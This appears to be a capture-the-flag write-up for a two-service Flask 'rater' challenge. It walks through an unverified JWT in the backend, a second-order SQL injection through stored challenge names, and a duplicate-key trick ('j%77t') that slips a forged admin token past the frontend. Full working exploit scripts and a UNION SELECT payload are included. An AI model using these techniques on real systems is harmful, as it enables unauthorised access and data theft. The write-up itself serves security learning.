An initial look at the application tells us that we have two flask applications, a frontend
and a backend
app
running in a separate container each, each with its own Dockerfile
. The flag exists in the database running in
the backend
application. So, as a first step, we focus only on the backend application to find out how we can
get the flag, without worrying about the frontend.
The only exposed url of the backend is the /baction
path:
@app.route("/baction")
def action():
try:
myaction = json.loads(request.args.get("action"))["action"]
encodedauth = json.loads(request.args.get("action"))["jwt"].split(".")[1]
authdata = json.loads(base64.urlsafe_b64decode(encodedauth + '=' * (-len(encodedauth) % 4)))
role = authdata["role"]
username = authdata["user"]
endpoint = myaction["name"]
params = myaction["params"]
if endpoint in ALLOWED_ACTIONS:
action = globals()[endpoint]
return action(params,username,role)
return json.dumps({"status":"KO", "data":"Unknown action"})
except:
return json.dumps({"stats":"KO","data":"Error decoding action"})
Here, we can see that all information is taken out of the action parameter.
This includes a selector to choose which function we want to call, as well as parameters and
user data in the jwt
. We note that the information about the user is taken from the jwt
without checking the validity of the token!
Looking around for interesting actions to call, we find the action updaterating()
, which in turn calls getdata()
:
def updaterating(params,username,role):
challenge = params["challenge"]
print(challenge)
value = params["value"]
challenges = query_db(username,"SELECT id FROM ratings WHERE challenge = ?",(challenge,))
print(challenges)
if int(value) > 2 and int(value) <=5:
if len(challenges) > 0:
r = query_db(username,"UPDATE ratings SET challenge = ?, value = ? WHERE id = ?",(challenge,int(value),challenges[0][0]))
else:
return json.dumps({"status":"NOK","data":"Unknown challenge"})
else:
if role == "admin":
if len(challenges) > 0:
r = query_db(username,"UPDATE ratings SET challenge = ?, value = ? WHERE id = ?",(challenge,int(value),challenges[0][0]))
else:
r = query_db(username,"INSERT INTO ratings (challenge,value) VALUES (?,?)",(challenge,int(value)))
else:
return json.dumps({"status":"NOK","data": "You cannot rate so low!"})
return json.dumps({"status":"OK","data":getdata(params,username,role)})
def getratings(params,username,role):
return json.dumps({"status":"OK","data":getdata(params,username,role)})
We can see a sql injection in the getdata
function:
def getdata(params,username,role):
results = []
challenges = query_db(username,"SELECT id, challenge, value FROM ratings")
for (myid,challenge,value) in challenges:
cnotes = []
notes = query_db(username,"SELECT id,note FROM notes WHERE challenge = '" + challenge +"'")
for (noteid,note) in notes:
cnotes.append({"id":noteid,"note":note})
results.append({'id': myid, 'name':challenge,'rating':value, 'notes':cnotes})
return results
To inject, we need to create a rating that has the challenge
field set to our injection value.
Luckily for us, the function updateranking()
allows us to create a new ranking for a challenge
that doesn’t exist. This is only allowed for the admin, as the code for users actually has
a check that prevents us from creating a rating for a challenge that doesn’t exist.
So, putting that all together allows us to send to following request to the /baction
endpoint
that will get us the flag from the database:
import requests, base64, json
s = requests.Session()
action = {
"action": {
"name": "updaterating",
"params": {
"challenge": "a' UNION SELECT 0, flag from 'flag",
"value": 10
}
},
"jwt": "a."+base64.urlsafe_b64encode(json.dumps({
"user": "asdf",
"role": "admin",
}).encode("utf-8")).decode("utf-8")+".a"
}
r = s.get("http://localhost:7777/baction", params={
"action": json.dumps(action),
})
print(r.text)
Now, we need to somehow get this request through the frontend to get the flag.
Looking at the code, the /action
endpoint handles most of the work:
@app.route("/action", methods = ['POST'])
def action():
action = request.json
myjwt=action["jwt"]
try:
decoded = jwt.decode(myjwt,secret,algorithms="HS256")
response = requests.get("http://backend:7777/baction?action="+json.dumps(action))
return response.content
except:
return json.dumps({"Error":"Something went wrong..."})
Sadly, the frontend now actually checks the jwt
validity (jwt.decode
will throw if the jwt/signature is invalid). So, it seems that we need to get a jwt that is valid for the frontend but
forged for the backend. To get that, we tried several things:
jwt
signing algorithm, because the algorithms="HS256"
parameter should actually be a List[str]
, not str
, but python allows this ("HS256 in ["HS256"] == "HS256" in "HS256"
and it doesn’t open up any other paths we could take)&
in the json data to terminate the action
url parameter early and creating a second action
forged parameter, hoping that it will be read instead of the first parameter. Sadly, flask only looks at the first parameter if there multiple parameters with the same name…After attempting different attacks, we finally found a viable bypass to this function: Using the fact that the data in our json will be passed to the frontend as json directly, but will be url decoded before being parsed by the backend, we can come up with a dictionary that will have two different json keys for the frontend, but the same keys for the backend:
{
"jwt": "REAL_JWT_HERE",
"j%77t": "FAKE_JWT_HERE"
}
If the python json
module encounters two keys with the same key, it will take the last one,
so we put our fake jwt after the real jwt - for the frontend there is only one jwt
key, for the backend there are two.
So, finally after putting everything from above together, we arrive at our exploit:
import requests, base64, json, secrets
s = requests.Session()
CREDS = {
"username": secrets.token_hex(16),
"password": secrets.token_hex(16)
}
r = s.post("https://rater.insomnihack.ch/register", json=CREDS, verify=False)
r = s.post("https://rater.insomnihack.ch/login", json=CREDS, verify=False)
jwt = r.json()["jwt"]
fake_jwt = "a."+base64.urlsafe_b64encode(json.dumps({
"user": CREDS["username"],
"role": "admin",
}).encode("utf-8")).decode("utf-8")+"."
action = {
"action": {
"name": "updaterating",
"params": {
"challenge": "a' UNION SELECT 0, flag from 'flag",
"value": 10
}
},
"jwt": jwt,
"j%77t": fake_jwt
}
r = s.post("https://rater.insomnihack.ch/action", json=action, verify=False)
print(r.json()["data"])